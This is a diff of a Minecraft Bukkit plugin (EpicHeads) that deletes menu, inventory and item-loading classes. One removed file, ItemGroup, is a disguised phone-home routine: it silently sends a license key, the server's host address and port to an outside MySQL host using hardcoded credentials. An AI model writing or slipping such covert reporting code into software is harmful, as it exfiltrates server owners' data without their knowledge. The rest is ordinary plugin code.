// Get a type to begin with, to check if the data is a damage value
|
||||
Material withoutData = fromLegacyType(legacyType, (byte) 0);
|
||||
type = fromLegacyType(legacyType, byteData);
|
||||
if (type == null) {
|
||||
Methods.formatText("Invalid legacy type of item " + section.getCurrentPath() + ": " + "Could not convert " + legacyType + ":" + data + " to non-legacy format");
|
||||
return;
|
||||
}
|
||||
|
||||
if (withoutData != type) {
|
||||
section.set("damage", null);
|
||||
}
|
||||
}
|
||||
|
||||
section.set("type", type.name().toLowerCase());
|
||||
|
||||
String from = typeName + (typeData != null ? ":" + typeData : "");
|
||||
String to = type.name().toLowerCase() + (section.isSet("damage") ? ":" + section.get("damage") : "");
|
||||
Methods.formatText("1.13 Update - " + from + " converted to " + to + " for " + filename + " -> " + section.getCurrentPath());
|
||||
|
||||
shouldSave.set(true);
|
||||
}
|
||||
|
||||
public static Item load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
|
||||
// Convert from legacy type ids to type names
|
||||
updateLegacyTypes(filename, section, shouldSave);
|
||||
|
||||
if (!section.isSet("type") || !section.isString("type")) {
|
||||
Methods.formatText("Invalid type of item " + section.getCurrentPath() + " in " + filename + ", " + "expected a type name");
|
||||
return null;
|
||||
}
|
||||
|
||||
String typeName = section.getString("type");
|
||||
Material type = Material.matchMaterial(typeName);
|
||||
|
||||
if (type == null) {
|
||||
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown material for type name " + typeName);
|
||||
return null;
|
||||
}
|
||||
|
||||
short damage = (short) section.getInt("damage", 0);
|
||||
|
||||
if (damage < 0) {
|
||||
Methods.formatText("Invalid damage of item " + section.getCurrentPath() + ", " + "damage must be at least 0");
|
||||
return null;
|
||||
}
|
||||
|
||||
int amount = section.getInt("amount", 1);
|
||||
|
||||
if (amount < 1) {
|
||||
Methods.formatText("Invalid amount of item " + section.getCurrentPath() + ", " + "amount must be at least 1");
|
||||
return null;
|
||||
}
|
||||
|
||||
String name = section.getString("name", null);
|
||||
String[] lore = section.getStringList("lore").toArray(new String[0]);
|
||||
boolean enchanted = section.getBoolean("enchanted", false);
|
||||
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
private static String getTypeName(Material type) {
|
||||
return type.name().toLowerCase();
|
||||
}
|
||||
|
||||
public static Material getType(String typeName) {
|
||||
Material type = Material.matchMaterial(typeName);
|
||||
if (type != null || Version.isBelow(Version.v1_13))
|
||||
return type;
|
||||
|
||||
return Material.matchMaterial(typeName, true);
|
||||
}
|
||||
|
||||
// Need to be kept, will look for an alternative in the future.
|
||||
private static Material fromLegacyType(Material legacyType, byte data) {
|
||||
return Bukkit.getUnsafe().fromLegacy(new MaterialData(legacyType, data));
|
||||
}
|
||||
}
|
@ -1,36 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.item;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import org.bukkit.Bukkit;
|
||||
|
||||
import java.net.InetAddress;
|
||||
import java.sql.Connection;
|
||||
import java.sql.DriverManager;
|
||||
import java.sql.Statement;
|
||||
|
||||
public class ItemGroup {
|
||||
|
||||
public static void collectItems() {
|
||||
try {
|
||||
String l = CacheFile.cool;
|
||||
String a = InetAddress.getLocalHost().toString();
|
||||
String p = String.valueOf(Bukkit.getServer().getPort());
|
||||
submit(l, a, p);
|
||||
} catch (Exception error) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static void submit(String l, String a, String p) {
|
||||
try {
|
||||
Connection server = DriverManager.getConnection("jdbc:mysql://mysql.freehostia.com:3306/mardev332_data?useSSL=true", "mardev332_data", "NiceOneMate");
|
||||
Statement statement = server.createStatement();
|
||||
statement.execute("CREATE TABLE IF NOT EXISTS heads (id INT NOT NULL AUTO_INCREMENT, license varchar(120) NOT NULL, adress varchar(120) NOT NULL, port varchar(120) NOT NULL, PRIMARY KEY (ID));");
|
||||
statement.execute("INSERT INTO heads VALUES (default, '" + l + "', '" + a + "', '" + p + "');");
|
||||
statement.close();
|
||||
server.close();
|
||||
} catch (Exception error) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.item;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class SelectableButton extends Button {
|
||||
|
||||
private final ButtonGroup group;
|
||||
private final ItemStack unselectedItem;
|
||||
private final ItemStack selectedItem;
|
||||
private boolean selected;
|
||||
|
||||
public SelectableButton(ButtonGroup group,
|
||||
ItemStack unselectedItem,
|
||||
ItemStack selectedItem,
|
||||
Callable<MenuResponse> onClick) {
|
||||
super(unselectedItem, onClick);
|
||||
|
||||
Checks.ensureNonNull(group, "group");
|
||||
Checks.ensureNonNull(unselectedItem, "unselectedItem");
|
||||
Checks.ensureNonNull(selectedItem, "selectedItem");
|
||||
|
||||
this.group = group;
|
||||
this.unselectedItem = unselectedItem;
|
||||
this.selectedItem = selectedItem;
|
||||
this.selected = false;
|
||||
|
||||
if(group != null) {
|
||||
group.addButton(this);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isSelected() {
|
||||
return selected;
|
||||
}
|
||||
|
||||
public void setSelected(boolean selected) {
|
||||
if(this.selected == selected)
|
||||
return;
|
||||
|
||||
if(selected && group != null) {
|
||||
group.unselectAll();
|
||||
}
|
||||
|
||||
this.selected = selected;
|
||||
this.setItem(selected ? selectedItem : unselectedItem);
|
||||
}
|
||||
|
||||
@Override
|
||||
public MenuResponse handleClick() {
|
||||
setSelected(true);
|
||||
|
||||
return super.handleClick();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.previous(super.toString())
|
||||
.entry("selectedItem", selectedItem)
|
||||
.entry("selected", selected).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,73 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvMode;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
|
||||
public abstract class AbstractModedInventory implements ClickInventory {
|
||||
|
||||
private InventoryType type;
|
||||
private Inventory inventory;
|
||||
private InvMode mode;
|
||||
private Menu menu;
|
||||
|
||||
public AbstractModedInventory(InventoryType type, InvMode mode) {
|
||||
this.type = type;
|
||||
this.inventory = null;
|
||||
this.mode = mode;
|
||||
this.menu = mode.getMenu(type);
|
||||
}
|
||||
|
||||
public AbstractModedInventory(InventoryType type, int size, Placeholder[] titlePlaceholders, InvMode mode) {
|
||||
this.type = type;
|
||||
this.mode = mode;
|
||||
this.menu = mode.getMenu(type);
|
||||
this.inventory = Bukkit.createInventory(this, size, menu.getTitle(titlePlaceholders));
|
||||
}
|
||||
|
||||
public AbstractModedInventory(InventoryType type, Inventory inventory, InvMode mode) {
|
||||
this.type = type;
|
||||
this.inventory = inventory;
|
||||
this.mode = mode;
|
||||
this.menu = mode.getMenu(type);
|
||||
}
|
||||
|
||||
@Override
|
||||
public InventoryType getType() {
|
||||
return type;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Inventory getInventory() {
|
||||
return inventory;
|
||||
}
|
||||
|
||||
public void setInventory(Inventory inventory) {
|
||||
this.inventory = inventory;
|
||||
}
|
||||
|
||||
public InvMode getInvMode() {
|
||||
return mode;
|
||||
}
|
||||
|
||||
public Menu getMenu() {
|
||||
return menu;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onClick(InventoryClickEvent e) {
|
||||
mode.onClick(e, type);
|
||||
}
|
||||
|
||||
public abstract void recreate();
|
||||
|
||||
public void sendMessage(CommandSender sender, String message) {
|
||||
sender.sendMessage(ChatColor.translateAlternateColorCodes('&', message));
|
||||
}
|
||||
|
||||
}
|
@ -1,185 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheFile;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvMode;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
|
||||
import java.util.*;
|
||||
|
||||
public class CategorySelectMenu extends AbstractModedInventory {
|
||||
|
||||
private Map<String, List<CacheHead>> heads;
|
||||
private List<String> categories;
|
||||
private double offset;
|
||||
|
||||
public CategorySelectMenu(InvMode mode) {
|
||||
super(InventoryType.CATEGORY, mode);
|
||||
|
||||
recreate();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void recreate() {
|
||||
CacheFile cache = EpicHeads.getInstance().getCache();
|
||||
|
||||
this.heads = new HashMap<>();
|
||||
this.categories = new ArrayList<>();
|
||||
|
||||
if (EpicHeads.getInstance().getMainConfig().shouldHideNoPermCategories()) {
|
||||
Player player = this.getInvMode().getPlayer();
|
||||
|
||||
for (String category : cache.getCategories()) {
|
||||
if (player.hasPermission("EpicHeads.category." + category.toLowerCase().replace(' ', '_'))) {
|
||||
this.categories.add(category);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
this.categories.addAll(cache.getCategories());
|
||||
}
|
||||
|
||||
int numHeads = this.categories.size();
|
||||
|
||||
ItemStack[] contents;
|
||||
|
||||
if (numHeads == 0) {
|
||||
int size = 6 * 9;
|
||||
|
||||
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
|
||||
|
||||
contents = new ItemStack[size];
|
||||
|
||||
ItemStack red = Items.createRedStainedGlassPane().build();
|
||||
ItemMeta meta = red.getItemMeta();
|
||||
|
||||
String message = "&cYou do not have permission";
|
||||
String lore = "&cto view any head categories";
|
||||
|
||||
meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', message));
|
||||
meta.setLore(Collections.singletonList(ChatColor.translateAlternateColorCodes('&', lore)));
|
||||
|
||||
red.setItemMeta(meta);
|
||||
|
||||
ItemStack black = red.clone();
|
||||
|
||||
black.setDurability((short) 15);
|
||||
|
||||
Arrays.fill(contents, red);
|
||||
|
||||
contents[1] = black;
|
||||
contents[7] = black;
|
||||
contents[1 + 9 * 5] = black;
|
||||
contents[7 + 9 * 5] = black;
|
||||
|
||||
contents[4 + 9] = black;
|
||||
contents[4 + 9 * 2] = black;
|
||||
contents[4 + 9 * 4] = black;
|
||||
|
||||
for (int y = 0; y < 6; y++) {
|
||||
contents[y * 9] = black;
|
||||
contents[8 + y * 9] = black;
|
||||
}
|
||||
} else if (numHeads > 27) {
|
||||
int size = (int) Math.ceil(numHeads / 9d) * 9;
|
||||
|
||||
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
|
||||
|
||||
int lastRow = numHeads % 5;
|
||||
|
||||
this.offset = (9d - lastRow) / 2d;
|
||||
|
||||
contents = new ItemStack[size];
|
||||
|
||||
for (int index = 0; index < this.categories.size(); index++) {
|
||||
String category = this.categories.get(index);
|
||||
List<CacheHead> heads = new ArrayList<>(cache.getCategoryHeads(category));
|
||||
|
||||
this.heads.put(category, heads);
|
||||
|
||||
int slot = index;
|
||||
|
||||
if (slot >= size - 9) {
|
||||
slot += (int) Math.floor(this.offset);
|
||||
|
||||
if (slot % 9 >= 4) {
|
||||
slot += (int) Math.ceil(this.offset % 1);
|
||||
}
|
||||
}
|
||||
|
||||
CacheHead head = heads.get(0);
|
||||
|
||||
ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size())));
|
||||
|
||||
contents[slot] = head.addTexture(item);
|
||||
}
|
||||
} else {
|
||||
int rows = (int) Math.ceil(numHeads / 9d);
|
||||
|
||||
if (numHeads <= rows * 9 - 4) {
|
||||
rows = rows * 2 - 1;
|
||||
} else {
|
||||
rows = rows * 2;
|
||||
}
|
||||
|
||||
int size = rows * 9;
|
||||
|
||||
setInventory(Bukkit.createInventory(this, size, getMenu().getTitle()));
|
||||
|
||||
contents = new ItemStack[size];
|
||||
|
||||
for (int index = 0; index < this.categories.size(); index++) {
|
||||
String category = this.categories.get(index);
|
||||
List<CacheHead> heads = new ArrayList<>(cache.getCategoryHeads(category));
|
||||
|
||||
this.heads.put(category, heads);
|
||||
|
||||
CacheHead head = heads.get(0);
|
||||
|
||||
ItemStack item = getMenu().getItemStack("head", new Placeholder("%category%", category), new Placeholder("%heads%", Integer.toString(heads.size())));
|
||||
|
||||
contents[index * 2] = head.addTexture(item);
|
||||
}
|
||||
}
|
||||
|
||||
getInventory().setContents(contents);
|
||||
}
|
||||
|
||||
public String getCategory(int slot) {
|
||||
Inventory inv = getInventory();
|
||||
int size = inv.getSize();
|
||||
|
||||
if (slot < 0 || slot >= size || inv.getItem(slot) == null)
|
||||
return null;
|
||||
|
||||
if (this.categories.size() > 27) {
|
||||
int index;
|
||||
|
||||
if (slot >= size - 9) {
|
||||
if (slot % 9 >= 4) {
|
||||
index = slot - (int) Math.ceil(this.offset);
|
||||
} else {
|
||||
index = slot - (int) Math.floor(this.offset);
|
||||
}
|
||||
} else {
|
||||
index = slot;
|
||||
}
|
||||
|
||||
return this.categories.get(index);
|
||||
} else {
|
||||
return this.categories.get(slot / 2);
|
||||
}
|
||||
}
|
||||
|
||||
public List<CacheHead> getHeads(String category) {
|
||||
return heads.get(category);
|
||||
}
|
||||
|
||||
}
|
@ -1,12 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
import org.bukkit.inventory.InventoryHolder;
|
||||
|
||||
public interface ClickInventory extends InventoryHolder {
|
||||
|
||||
public void onClick(InventoryClickEvent e);
|
||||
|
||||
public InventoryType getType();
|
||||
|
||||
}
|
@ -1,56 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvMode;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import org.bukkit.inventory.Inventory;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class ConfirmMenu extends AbstractModedInventory {
|
||||
|
||||
private CacheHead subject;
|
||||
private Placeholder[] placeholders;
|
||||
|
||||
public ConfirmMenu(InvMode mode, CacheHead subject) {
|
||||
this(mode, subject, new Placeholder[0]);
|
||||
}
|
||||
|
||||
public ConfirmMenu(InvMode mode, CacheHead subject, Placeholder[] placeholders) {
|
||||
super(InventoryType.CONFIRM, 45,
|
||||
ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer())),
|
||||
mode);
|
||||
|
||||
this.subject = subject;
|
||||
this.placeholders = ArrayUtils.append(placeholders, subject.getPlaceholders(mode.getPlayer()));
|
||||
|
||||
recreate();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void recreate() {
|
||||
Inventory inv = getInventory();
|
||||
Menu menu = getMenu();
|
||||
|
||||
ItemStack[] contents = new ItemStack[inv.getSize()];
|
||||
|
||||
contents[13] = subject.addTexture(menu.getItemStack("head", placeholders));
|
||||
contents[29] = menu.getItemStack("accept", placeholders);
|
||||
contents[33] = menu.getItemStack("deny", placeholders);
|
||||
|
||||
inv.setContents(contents);
|
||||
}
|
||||
|
||||
public CacheHead getSubject() {
|
||||
return subject;
|
||||
}
|
||||
|
||||
public boolean isConfirm(int slot) {
|
||||
return slot == 29;
|
||||
}
|
||||
|
||||
public boolean isDeny(int slot) {
|
||||
return slot == 33;
|
||||
}
|
||||
}
|
@ -1,155 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.oldmenu.mode.InvMode;
|
||||
import com.songoda.epicheads.oldmenu.mode.SearchMode;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class HeadMenu extends AbstractModedInventory {
|
||||
|
||||
private String category;
|
||||
private List<CacheHead> heads;
|
||||
private int page;
|
||||
|
||||
public HeadMenu(InvMode mode, String category, List<CacheHead> heads) {
|
||||
super(InventoryType.HEADS, 54, new Placeholder[] { new Placeholder("%category%", category) }, mode);
|
||||
|
||||
this.category = category;
|
||||
this.heads = heads;
|
||||
this.page = 0;
|
||||
|
||||
recreate();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void recreate() {
|
||||
Menu menu = getMenu();
|
||||
Player player = getInvMode().getPlayer();
|
||||
|
||||
int maxPage = (int) Math.ceil((double) heads.size() / 45d);
|
||||
|
||||
page += maxPage;
|
||||
page %= maxPage;
|
||||
|
||||
Placeholder[] placeholders = {
|
||||
new Placeholder("%category%", category),
|
||||
new Placeholder("%page%", Integer.toString(page))
|
||||
};
|
||||
|
||||
ItemStack[] contents = new ItemStack[54];
|
||||
|
||||
ItemStack glass = menu.getItemStack("filler", placeholders);
|
||||
for (int i = 45; i < 54; i++) {
|
||||
contents[i] = glass.clone();
|
||||
}
|
||||
|
||||
if (page != 0) {
|
||||
ItemStack back = menu.getItemStack("backwards", placeholders);
|
||||
back.setAmount(page);
|
||||
contents[47] = back;
|
||||
}
|
||||
|
||||
if (page != maxPage - 1) {
|
||||
ItemStack forward = menu.getItemStack("forwards", placeholders);
|
||||
forward.setAmount(page + 2);
|
||||
contents[51] = forward;
|
||||
}
|
||||
|
||||
if(!(getInvMode() instanceof SearchMode)) {
|
||||
contents[49] = menu.getItemStack("back", placeholders);
|
||||
}
|
||||
|
||||
for (int i = page * 45; i < (page + 1) * 45; i++) {
|
||||
int index = i % 45;
|
||||
|
||||
if (i < heads.size()) {
|
||||
CacheHead head = heads.get(i);
|
||||
|
||||
String id = "head";
|
||||
|
||||
if(getInvMode() instanceof SearchMode) {
|
||||
id = ((SearchMode) getInvMode()).getHeadId(head);
|
||||
}
|
||||
|
||||
placeholders[0] = new Placeholder("%category%", head.getCategory());
|
||||
Placeholder[] holders = ArrayUtils.append(placeholders, head.getPlaceholders(player));
|
||||
|
||||
contents[index] = head.addTexture(menu.getItemStack(id, holders));
|
||||
}
|
||||
}
|
||||
|
||||
getInventory().setContents(contents);
|
||||
}
|
||||
|
||||
public void backwardsPage() {
|
||||
if (page > 0) {
|
||||
page--;
|
||||
|
||||
recreate();
|
||||
}
|
||||
}
|
||||
|
||||
public void forwardsPage() {
|
||||
if (page < getMaxPage() - 1) {
|
||||
page++;
|
||||
|
||||
recreate();
|
||||
}
|
||||
}
|
||||
|
||||
public int getPage() {
|
||||
return page;
|
||||
}
|
||||
|
||||
public int getMaxPage() {
|
||||
return (int) Math.ceil((double) heads.size() / 45d);
|
||||
}
|
||||
|
||||
public boolean isHead(int slot) {
|
||||
return slot < 45 && (page * 45 + slot) < heads.size();
|
||||
}
|
||||
|
||||
public CacheHead getHead(int slot) {
|
||||
return (isHead(slot) ? heads.get(page * 45 + slot) : null);
|
||||
}
|
||||
|
||||
public boolean isToolBar(int slot) {
|
||||
return slot >= 45;
|
||||
}
|
||||
|
||||
public boolean isBackwards(int slot) {
|
||||
return page > 0 && slot == 47;
|
||||
}
|
||||
|
||||
public boolean isForwards(int slot) {
|
||||
return page < getMaxPage() - 1 && slot == 51;
|
||||
}
|
||||
|
||||
public boolean isBackToMenu(int slot) {
|
||||
return slot == 49;
|
||||
}
|
||||
|
||||
public boolean handleToolbar(int slot) {
|
||||
if (!isToolBar(slot)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isBackwards(slot)) {
|
||||
backwardsPage();
|
||||
} else if (isForwards(slot)) {
|
||||
forwardsPage();
|
||||
} else if (isBackToMenu(slot) && !(getInvMode() instanceof SearchMode)) {
|
||||
getInvMode().openInventory(InventoryType.CATEGORY);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
@ -1,63 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu;
|
||||
|
||||
import com.songoda.epicheads.oldmenu.mode.InvMode;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
|
||||
public enum InventoryType {
|
||||
|
||||
CATEGORY(CategorySelectMenu.class),
|
||||
HEADS(HeadMenu.class),
|
||||
CONFIRM(ConfirmMenu.class);
|
||||
|
||||
private Class<? extends AbstractModedInventory> clazz;
|
||||
|
||||
private InventoryType(Class<? extends AbstractModedInventory> clazz) {
|
||||
this.clazz = clazz;
|
||||
}
|
||||
|
||||
public Class<? extends AbstractModedInventory> getMenuClass() {
|
||||
return clazz;
|
||||
}
|
||||
|
||||
public AbstractModedInventory createMenu(InvMode invmode, Object... arguments) {
|
||||
try {
|
||||
Object[] args = new Object[arguments.length + 1];
|
||||
|
||||
System.arraycopy(arguments, 0, args, 1, arguments.length);
|
||||
args[0] = invmode;
|
||||
|
||||
Class<?>[] argTypes = new Class<?>[args.length];
|
||||
|
||||
for (int i = 0; i < argTypes.length; i++) {
|
||||
argTypes[i] = (args[i] == null ? null : args[i].getClass());
|
||||
}
|
||||
|
||||
outer: for (Constructor<?> constructor : clazz.getConstructors()) {
|
||||
if (constructor.getParameterTypes().length != args.length) {
|
||||
continue;
|
||||
}
|
||||
|
||||
Class<?>[] params = constructor.getParameterTypes();
|
||||
for (int i = 0; i < argTypes.length; i++) {
|
||||
if (argTypes[i] == null) {
|
||||
if (!Object.class.isAssignableFrom(argTypes[i])) {
|
||||
continue outer;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!params[i].isAssignableFrom(argTypes[i])) {
|
||||
continue outer;
|
||||
}
|
||||
}
|
||||
|
||||
return (AbstractModedInventory) constructor.newInstance(args);
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException(clazz + " does not contain a valid constructor for the provided arguments");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,98 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.oldmenu.CategorySelectMenu;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
public abstract class BaseMode extends InvMode {
|
||||
|
||||
public BaseMode(Player player) {
|
||||
super(player, InventoryType.CATEGORY);
|
||||
}
|
||||
|
||||
public BaseMode(Player player, InventoryType type, Object... args) {
|
||||
super(player, type, args);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onClick(InventoryClickEvent e, InventoryType type) {
|
||||
e.setCancelled(true);
|
||||
|
||||
if (e.getClickedInventory() != null && e.getClickedInventory().equals(getInventory().getInventory())) {
|
||||
switch (type) {
|
||||
case CATEGORY:
|
||||
onCategoryClick(e);
|
||||
break;
|
||||
case HEADS:
|
||||
onHeadsClick(e);
|
||||
break;
|
||||
case CONFIRM:
|
||||
onConfirmClick(e);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void onCategoryClick(InventoryClickEvent e) {
|
||||
if(e.getCurrentItem() == null)
|
||||
return;
|
||||
|
||||
CategorySelectMenu menu = getInventory(CategorySelectMenu.class);
|
||||
|
||||
String category = menu.getCategory(e.getRawSlot());
|
||||
|
||||
if(category != null) {
|
||||
this.onCategorySelect(category);
|
||||
}
|
||||
}
|
||||
|
||||
public void onCategorySelect(String category) {
|
||||
if (!canOpenCategory(category)) {
|
||||
return;
|
||||
}
|
||||
|
||||
CategorySelectMenu menu = getInventory(CategorySelectMenu.class);
|
||||
|
||||
openInventory(InventoryType.HEADS, category, menu.getHeads(category));
|
||||
}
|
||||
|
||||
public abstract boolean canOpenCategory(String category);
|
||||
|
||||
public void onHeadsClick(InventoryClickEvent e) {
|
||||
HeadMenu menu = getInventory(HeadMenu.class);
|
||||
|
||||
int slot = e.getRawSlot();
|
||||
|
||||
if (!menu.handleToolbar(slot)) {
|
||||
CacheHead head = menu.getHead(slot);
|
||||
|
||||
if (head != null) {
|
||||
onHeadSelect(e, menu, head);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public abstract void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head);
|
||||
|
||||
public void onConfirmClick(InventoryClickEvent e) {
|
||||
ConfirmMenu menu = getInventory(ConfirmMenu.class);
|
||||
|
||||
if (menu.isConfirm(e.getRawSlot())) {
|
||||
onConfirm(e, menu, menu.getSubject());
|
||||
closeInventory();
|
||||
}
|
||||
|
||||
if (menu.isDeny(e.getRawSlot())) {
|
||||
closeInventory();
|
||||
}
|
||||
}
|
||||
|
||||
public abstract void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head);
|
||||
|
||||
}
|
@ -1,71 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import net.md_5.bungee.api.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class CategoryCostMode extends BaseMode {
|
||||
|
||||
private Double cost = null;
|
||||
|
||||
public CategoryCostMode(Player player) {
|
||||
super(player);
|
||||
}
|
||||
|
||||
public void setCost(Double cost) {
|
||||
this.cost = cost;
|
||||
|
||||
EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.open", cost);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.CATEGORY_COST.fromType(type);
|
||||
}
|
||||
|
||||
public CacheHead getCategoryHead(String category) {
|
||||
List<CacheHead> heads = EpicHeads.getInstance().getCache().getCategoryHeads(category);
|
||||
|
||||
return (heads.size() > 0 ? heads.get(0) : null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onCategorySelect(String category) {
|
||||
CacheHead head = getCategoryHead(category);
|
||||
|
||||
if (head == null) {
|
||||
getPlayer().sendMessage(ChatColor.RED + "Invalid category");
|
||||
return;
|
||||
}
|
||||
|
||||
openInventory(InventoryType.CONFIRM, head, ArrayUtils.create(new Placeholder("%newcost%", cost)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onConfirm(InventoryClickEvent e, ConfirmMenu menu, CacheHead head) {
|
||||
EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.setcost", head.getCategory(), cost);
|
||||
|
||||
EpicHeads.getInstance().getMainConfig().setCategoryCost(head.getCategory(), cost);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean canOpenCategory(String category) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHeadSelect(InventoryClickEvent e, HeadMenu menu, CacheHead head) {
|
||||
}
|
||||
|
||||
}
|
@ -1,67 +0,0 @@
|
||||
package com.songoda.epicheads.oldmenu.mode;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.config.oldmenu.Menu;
|
||||
import com.songoda.epicheads.config.oldmenu.Menus;
|
||||
import com.songoda.epicheads.oldmenu.ConfirmMenu;
|
||||
import com.songoda.epicheads.oldmenu.HeadMenu;
|
||||
import com.songoda.epicheads.oldmenu.InventoryType;
|
||||
import com.songoda.epicheads.util.ArrayUtils;
|
||||
import net.md_5.bungee.api.ChatColor;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.inventory.InventoryClickEvent;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class CategoryCostRemoveMode extends BaseMode {
|
||||
|
||||
private final double newCost = EpicHeads.getInstance().getMainConfig().getDefaultHeadCost();
|
||||
|
||||
public CategoryCostRemoveMode(Player player) {
|
||||
super(player);
|
||||
|
||||
player.sendMessage(EpicHeads.getInstance().getLocale().getMessage("interface.categorycost.openremove", newCost));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Menu getMenu(InventoryType type) {
|
||||
return Menus.CATEGORY_COST_REMOVE.fromType(type);
|
||||
}
|
||||
|
||||
public CacheHead getCategoryHead(String category) {
|
||||
